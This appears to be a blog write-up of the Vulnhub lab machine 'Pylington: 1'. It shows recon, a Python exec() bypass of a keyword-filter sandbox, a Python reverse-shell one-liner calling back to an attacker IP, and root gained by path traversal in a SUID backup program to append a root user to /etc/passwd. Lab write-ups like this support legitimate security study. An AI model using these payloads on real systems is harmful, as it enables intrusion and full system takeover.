Home PYLINGTON 1
Post
Cancel

PYLINGTON 1

Overview

“PYLINGTON: 1” was quite a unique box as it really it good for you to think out of the box for ways to exploit the system.

Box DifficultyLink
Medium(personally)Vulnhub Link

For this box I downloaded it off vulnhub and run it on my network.

Recon

After setting up the VM and it’s connection , to locate the ip I use arp-scan my-ipaddress/24 to find the ip. Pylington was hosted on 192.168.1.50

As usual, the standard masscan follow by nmap.

1
2
3
4
5
6
└─# masscan -p1-65535  192.168.1.50  --rate=1000 -e eth0

Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-04-24 17:03:10 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 80/tcp on 192.168.1.50                   
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
└─# nmap -sV -sC -p 80 192.168.1.50                        


Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-24 13:06 EDT
Nmap scan report for 192.168.1.50
Host is up (0.00033s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.46 ((Unix) mod_wsgi/4.7.1 Python/3.9)
|_http-generator: Jekyll v4.1.1
| http-methods: 
|_  Potentially risky methods: TRACE
| http-robots.txt: 3 disallowed entries 
|_/register /login /zbir7mn240soxhicso2z
|_http-server-header: Apache/2.4.46 (Unix) mod_wsgi/4.7.1 Python/3.9
|_http-title: Pylington Cloud | The best way to run Python.
MAC Address: 08:00:27:15:1C:66 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.86 seconds

From the output we can see that there is only port 80 HTTP open.

HTTP - TCP 80

From the nmap output we can see that there are interesting files shown in the robot.txt file:

1
2
| http-robots.txt: 3 disallowed entries
|_/register /login /zbir7mn240soxhicso2z

Let check these one by one to see if there are anything interesting here:

/Register:

plot

We can see that the photo above mentions that “Unfortunately, at this time, all but one of our servers have gone offline. As a result, we are not accepting any new registrations. However, if you are already a registered user, you can still sign in.”

Welp, nothing else here.

/Login:

plot

The login page requires not only a username and password, but a challenge text where based on the equation given you have to give the output. Look’s like brute-forcing the users name and password might not be the right path here.

/zbir7mn240soxhicso2z

plot

Lastly, the last site shows that it stores the credential.

1
2
Username: steve
Password: bvbkukHAeVxtjjVH

plot

After logging in with the credentials above back at /Login, we are directed to here which allow us to access the Super Secret Python IDE.

plot

It looks like the IDE is a

  • Python 3 program
  • in the first input box is where we put our code
  • In the second input box is the user input.

It is noted that it is protected by the below “This online IDE is protected with NoImportOS™, an unescapable™ sandbox. NoImportOS™ is secure because of its simplicity; “

A quick look at the security measurement of the code shows the below:

1
2
3
4
5
6
7
8
9
def check_if_safe(code: str) -> bool:
    if 'import' in code: # import is too dangerous
        return False
    elif 'os' in code: # os is too dangerous
        return False
    elif 'open' in code: # opening files is also too dangerous
        return False
    else:
        return True

Shell as HTTP

Let’s do some serious thinking here! Our goal is obviously to get back a reverse shell back to the server , but looks like we cannot have the words import,os or open. Meaning we cannot import other python functions , import the os module or openany files.

However take note , we still have access to other python builtin function!

Let’s test to see if the above is true first.

plot

Okay, as expected, we can’t directly import . What if import is taken as a user input?

plot

Great, looks like the program doesn’t do a check on the input. So now we just have to find a way to execute the strings input as a command.

After doing some research I found the below:

1
2
Python’s exec() method executes the Python code you pass as a string or executable object argument.
This is called dynamic execution because, in contrast to normal static Python code, you can generate code and execute it at runtime. This way, you can run programmatically-created Python code.

I tried executing with the eval function at first but fail to do so. The reason why eval can’t be used is explained as the below.

1
2
exec() can execute all Python source code, whereas eval() can only evaluate expressions.
exec() always returns None, whereas eval() returns the result of the evaluated expression.
1
2
eval(2+2)
> 4

Thus i crafted the a simple python script which take a user input and run the string input through the exec() python3 function.

Python Code:

1
2
user_inp = input('')
exec(user_inp)

User Input:

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.152",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

plot

1
2
3
4
5
6
7
8
9
10
└─# nc -lvnp 4242                                                                                                                                                     
listening on [any] 4242 ...
connect to [192.168.1.152] from (UNKNOWN) [192.168.1.50] 52724
[http@archlinux /]$ whoami
whoami
http
[http@archlinux /]$ id
id
uid=33(http) gid=33(http) groups=33(http)
[http@archlinux /]$ 

Great we are now onto the server as HTTP user.

shell as py

After doing some standard enumeration like running linpeas and other enumeration tool, the below stands out to me.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
http@archlinux tmp]$ python3 suid3num.py                                                                                                                                 
…
[~] Custom SUID Binaries (Interesting Stuff)
------------------------------
/home/py/typing
/usr/bin/ksu
/usr/bin/chage
/usr/bin/sg
/usr/bin/unix_chkpwd
/usr/bin/expiry
/usr/bin/suexec
------------------------------
…
…    

Let’s try running the /home/py/typing to see what it does. After running this the program, it seems to ask me to type the sentence the quick brown fox jumps over the lazy dog in order for it to give me a password.

1
2
3
4
5
[http@archlinux tmp]$ /home/py/typing
/home/py/typing
Lets play a game! If you can type the sentence below, then I'll tell you my password.

the quick brown fox jumps over the lazy dog

After typing the above sentence back into the program it output the password:

1
2
the quick brown fox jumps over the lazy dog
54ezhCGaJV

Let’s try logging in as user py with the password above.

1
2
3
4
5
6
7
8
9
10
[http@archlinux tmp]$ su -l py
su -l py
Password: 54ezhCGaJV

[py@archlinux ~]$ whoami
whoami
py
[py@archlinux ~]$ id
id
uid=1000(py) gid=1000(py) groups=1000(py)

Great we are now have a shell as user py.

Shell as Root

Doing a quick enumeration on py folder we can observe the below :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[py@archlinux ~]$ ls -la
ls -la
total 56
dr-xr-xr-x 3 py   py    4096 Apr 16 23:41 .
drwxr-xr-x 3 root root  4096 Apr  7 18:43 ..
-rw------- 1 py   py      21 Dec 20 18:44 .bash_logout
-rw------- 1 py   py      57 Dec 20 18:44 .bash_profile
-rw------- 1 py   py     141 Dec 20 18:44 .bashrc
-r-------- 1 py   py      11 Apr  9 12:04 password.txt
drwx------ 2 py   py    4096 Apr  9 19:31 secret_stuff
-r-sr-xr-x 1 py   py   19216 Apr  9 12:15 typing
-r--r--r-- 1 py   py     689 Apr  9 12:15 typing.cc
-r-------- 1 py   py      34 Apr  9 12:32 user.txt
[py@archlinux ~]$ cd secret_stuff
cd secret_stuff
[py@archlinux secret_stuff]$ ls -la
ls -la
total 40
drwx------ 2 py   py    4096 Apr  9 19:31 .
dr-xr-xr-x 3 py   py    4096 Apr 16 23:41 ..
-rwsr-xr-x 1 root root 26128 Apr  9 19:30 backup
-rw-r--r-- 1 root root   586 Apr  9 19:30 backup.cc
[py@archlinux secret_stuff]$ 

Interestingly , we can execute backup file even though the file is owned by root. Let’s take a look what this interesting file does.

Running the program shows the below :

1
2
3
4
5
6
7
[py@archlinux secret_stuff]$ ./backup
./backup
Enter a line of text to back up: 123
123
Enter a file to append the text to (must be inside the /srv/backups directory): /tmp
/tmp
The file must be inside the /srv/backups directory!
  1. The program take in a user input
  2. Write it to a file which starts at /srv/backups directory.

But what if point it to /srv/backups directory initially but chain it with directory traversal to point to somewhere else like py home folder?

1
2
3
4
5
6
7
8
9
[py@archlinux secret_stuff]$ ./backup
./backup
Enter a line of text to back up: 123
123
Enter a file to append the text to (must be inside the /srv/backups directory): /srv/backups/../../../../../../../home/py/touchme.txt
/srv/backups/../../../../../../../home/py/touchme.txt
[py@archlinux secret_stuff]$ cat /home/py/touchme.txt
cat ../touchme.txt
123

Success!

Now that we know that we can write to any file , a common privilege escalation method is to write to /etc/passwd folder which create a user running as root

We can manually add a user “admin” with a password of “password” using the following syntax which home folder points at root. :

1
admin:$1$xtTrK/At$Ga7qELQGiIklZGDhc6T5J0:0:0:,,,:/root:/bin/bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[py@archlinux secret_stuff]$ ./backup                                                                                                                           
./backup                                                                                                                                                                  
Enter a line of text to back up: admin:$1$xtTrK/At$Ga7qELQGiIklZGDhc6T5J0:0:0:,,,:/root:/bin/bash                                                                         
admin:$1$xtTrK/At$Ga7qELQGiIklZGDhc6T5J0:0:0:,,,:/root:/bin/bash                                                                                                          
Enter a file to append the text to (must be inside the /srv/backups directory): /srv/backups/../../../../../etc/passwd                                                    
/srv/backups/../../../../../etc/passwd                                                                                                                                    
[py@archlinux secret_stuff]$ su -l admin
su -l admin
Password: password

[root@archlinux ~]# whoami
whoami
root
[root@archlinux ~]# id
id
uid=0(root) gid=0(root) groups=0(root)

And we are root!

This post is licensed under CC BY 4.0 by the author.